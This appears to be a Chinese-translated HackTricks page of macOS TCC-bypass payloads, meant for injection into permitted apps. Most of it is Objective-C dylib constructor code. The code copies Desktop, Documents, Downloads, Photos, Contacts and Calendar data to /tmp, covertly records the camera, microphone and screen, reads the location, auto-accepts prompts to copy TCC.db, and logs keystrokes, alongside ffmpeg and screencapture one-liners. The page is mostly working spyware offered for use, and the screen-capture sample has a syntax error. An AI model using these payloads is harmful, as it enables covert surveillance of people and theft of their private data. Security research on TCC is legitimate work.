macOS TCC Payloads

从零开始学习 AWS 黑客技术，成为专家 htARTE（HackTricks AWS 红队专家）！

支持 HackTricks 的其他方式：

桌面

  • 授权: 无

  • TCC: kTCCServiceSystemPolicyDesktopFolder

将 $HOME/Desktop 复制到 /tmp/desktop。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

文档

  • 权限: 无

  • TCC: kTCCServiceSystemPolicyDocumentsFolder

将$HOME/Documents复制到/tmp/documents。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

下载

  • 权限: 无

  • TCC: kTCCServiceSystemPolicyDownloadsFolder

将$HOME/Downloads复制到/tmp/downloads。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

照片库

  • 权限: com.apple.security.personal-information.photos-library

  • TCC: kTCCServicePhotos

将$HOME/Pictures/Photos Library.photoslibrary复制到/tmp/photos。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

联系人

  • 权限: com.apple.security.personal-information.addressbook

  • TCC: kTCCServiceAddressBook

将$HOME/Library/Application Support/AddressBook复制到/tmp/contacts。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

日历

  • 权限: com.apple.security.personal-information.calendars

  • TCC: kTCCServiceCalendar

将$HOME/Library/Calendars复制到/tmp/calendars。

#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>

// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;

// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";

// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}

NSLog(@"Copy completed successfully.", error);

fclose(stderr); // Close the file stream
}

摄像头

  • 权限: com.apple.security.device.camera

  • TCC: kTCCServiceCamera

录制一个3秒的视频并保存在 /tmp/recording.mov 中

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}

检查程序是否具有访问摄像头的权限。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4

@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}

使用相机拍照

ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg

麦克风

  • 权限: com.apple.security.device.audio-input

  • TCC: kTCCServiceMicrophone

录制5秒音频并将其存储在 /tmp/recording.m4a 中

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib

@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>

@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;

- (void)startRecording;
- (void)stopRecording;

@end

@implementation AudioRecorder

- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}

- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;

AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];

if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}

if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}

self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];

if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}

- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}

- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}

#pragma mark - AVCaptureFileOutputRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}

@end

__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {

freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];

[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];

[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}

检查应用程序是否具有对麦克风的访问权限。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib

@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}

录制一段5秒的音频并将其存储在 /tmp/recording.wav 中。

# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav

位置

要获取位置信息，必须启用位置服务（来自隐私与安全），否则应用程序将无法访问位置信息。

  • 授权: com.apple.security.personal-information.location

  • TCC: 已授予在 /var/db/locationd/clients.plist 中

将位置信息写入 /tmp/logs.txt

#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>

@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end

@implementation LocationManagerDelegate

- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}

- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt

NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;

[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];

NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}

NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

屏幕录制

  • 权限: 无

  • TCC: kTCCServiceScreenCapture

在 /tmp/screen.mov 中录制主屏幕 5 秒。

#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>

// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m

@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end

@implementation MyRecordingDelegate

- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}

@end

__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}

AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}

[captureSession startRunning];

MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];

// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});

CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}

记录主屏幕5秒钟

screencapture -V 5 /tmp/screen.mov

辅助功能

  • 权限: 无

  • TCC: kTCCServiceAccessibility

使用 TCC 权限来接受通过按下回车键控制 Finder 并绕过 TCC 的方式

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>

// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears

void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}

void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";

NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];

if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}

int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});

// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}

将按键存储在 /tmp/keystrokes.txt 文件中

#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>

// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m

NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";

void AppendStringToFile(NSString *str, NSString *filePath) {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
if (fileHandle) {
[fileHandle seekToEndOfFile];
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
[fileHandle closeFile];
} else {
// If the file does not exist, create it
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
}
}

CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);

NSString *keyString = nil;
// First, handle special non-printable keys
switch (keyCode) {
case kVK_Return: keyString = @"<Return>"; break;
case kVK_Tab: keyString = @"<Tab>"; break;
case kVK_Space: keyString = @"<Space>"; break;
case kVK_Delete: keyString = @"<Delete>"; break;
case kVK_Escape: keyString = @"<Escape>"; break;
case kVK_Command: keyString = @"<Command>"; break;
case kVK_Shift: keyString = @"<Shift>"; break;
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
case kVK_Option: keyString = @"<Option>"; break;
case kVK_Control: keyString = @"<Control>"; break;
case kVK_RightControl: keyString = @"<Control>"; break;
case kVK_RightShift: keyString = @"<Shift>"; break;
case kVK_RightOption: keyString = @"<Option>"; break;
case kVK_Function: keyString = @"<Function>"; break;
case kVK_F1: keyString = @"<F1>"; break;
case kVK_F2: keyString = @"<F2>"; break;
case kVK_F3: keyString = @"<F3>"; break;
// Add more cases here for other non-printable keys...
default: break; // Not a special non-printable key
}

// If it's not a special key, try to translate it
if (!keyString) {
UniCharCount maxStringLength = 4;
UniCharCount actualStringLength = 0;
UniChar unicodeString[maxStringLength];

TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);

UInt32 deadKeyState = 0;
OSStatus status = UCKeyTranslate(keyboardLayout,
keyCode,
kUCKeyActionDown,
0,
LMGetKbdType(),
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
maxStringLength,
&actualStringLength,
unicodeString);
CFRelease(currentKeyboard);

if (status == noErr && actualStringLength > 0) {
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
} else {
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
}
}

NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
AppendStringToFile(logString, kKeystrokesLogPath);
}
return event;
}

int main() {
@autoreleasepool {
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);

if (!eventTap) {
NSLog(@"Failed to create event tap");
exit(1);
}

CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
CFRunLoopRun();
}
return 0;
}

辅助功能是一个非常强大的权限，您可以以其他方式滥用它，例如，您可以执行按键攻击，而无需调用系统事件。

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